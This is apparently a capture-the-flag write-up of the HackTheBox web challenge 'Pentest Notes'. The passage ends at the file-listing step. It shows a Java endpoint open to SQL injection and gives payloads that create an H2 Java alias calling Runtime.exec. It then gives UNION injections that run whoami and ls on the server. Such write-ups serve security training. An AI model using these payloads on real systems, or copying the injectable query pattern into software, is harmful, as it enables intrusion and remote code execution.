> For the complete documentation index, see [llms.txt](https://touhemi.gitbook.io/2hemi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://touhemi.gitbook.io/2hemi/web-challenges/hackthebox/pentest-notes.md).

# Pentest Notes

#### Step-by-Step Walkthrough

**Phase 1: Recon**

**Scenario Overview:**\
The challenge introduces a "Pentest Note" application—a seemingly mundane project, but one with hidden vulnerabilities ripe for exploitation. Your goal is to explore the application, identify weaknesses, and retrieve the flag stored in an obfuscated file name.

**Steps:**

1. **Explore the Website:**\
   Begin by thoroughly visiting every endpoint of the website. Identify its key functionalities and interactions. Pay special attention to any exposed data, input fields, or error messages.
2. **Examine the Source Code:**\
   If the web application doesn’t reveal much from its interface, shift your focus to the source code. This is where the real story begins.

   Two notable snippets in the source code stand out:

   * The flag file’s name is randomized:

```sh
COPY flag.txt /

RUN FLAG_NAME=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12) && mv /flag.txt "/${FLAG_NAME}_flag.txt"
```

* This snippet makes it clear that the flag’s filename is obfuscated. A direct SQL query for the flag file won't work since you don’t know the exact name.
* The `noteByName` endpoint in Java:

```java
@PostMapping("/note")
    public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
        if (httpSession.getAttribute("username") == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
        }
        if (name.contains("$") || name.toLowerCase().contains("concat")) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
        }
        String query = String.format("Select * from notes where name ='%s' ", name);
        List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
        List < Map < String, Object >> result = new ArrayList < > ();
        for (Object[] row: resultList) {
            Map < String, Object > rowMap = new HashMap < > ();
            rowMap.put("ID", row[0]);
            rowMap.put("Name", row[1]);
            rowMap.put("Note", row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }
```

1. * Key takeaways from this snippet:
     * SQL queries are built using string formatting, which makes the endpoint vulnerable to SQL injection.
     * However, `$` and `concat` are explicitly blocked.
     * The query only fetches data from the `notes` table, meaning direct access to the flag file isn’t feasible.

**Phase 2: Exploiting SQL Injection for RCE**

Since the flag file's name is randomized, SQL alone cannot retrieve it. You must escalate your attack to achieve remote code execution (RCE) and list files on the server.

1. **Testing for Command Execution via SQL:**\
   Attempting a direct command injection using SQL yields a `500 Internal Server Error`:

```sh
'; sys_exec('ls'); -- -
```

* This indicates that SQL-related functions for command execution are blocked.
* **Crafting a Custom Java Function for RCE:**\
  To bypass the restriction on direct command execution, create a custom alias in SQL that defines a Java method for running system commands.

  Inject the following payload to define the alias:

```java
a';CREATE ALIAS expcommand AS 'String expcommand(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "command error"; }';--
```

* This payload creates an alias named `expcommand` that executes system commands via Java's `Runtime.exec()` method.
* **Invoking the Custom Function:**\
  Use SQL injection to call the newly created function and execute system commands. For example, to determine the current user:

```sql
a'Union Select Null,Null,expcommand('whoami')-- -
```

* Check the response for the output of the command.
* **Listing Files and Retrieving the Flag:**\
  Execute a command to list files in the root directory:

```sql
a'Union Select Null,Null,expcommand('ls /')-- -
```
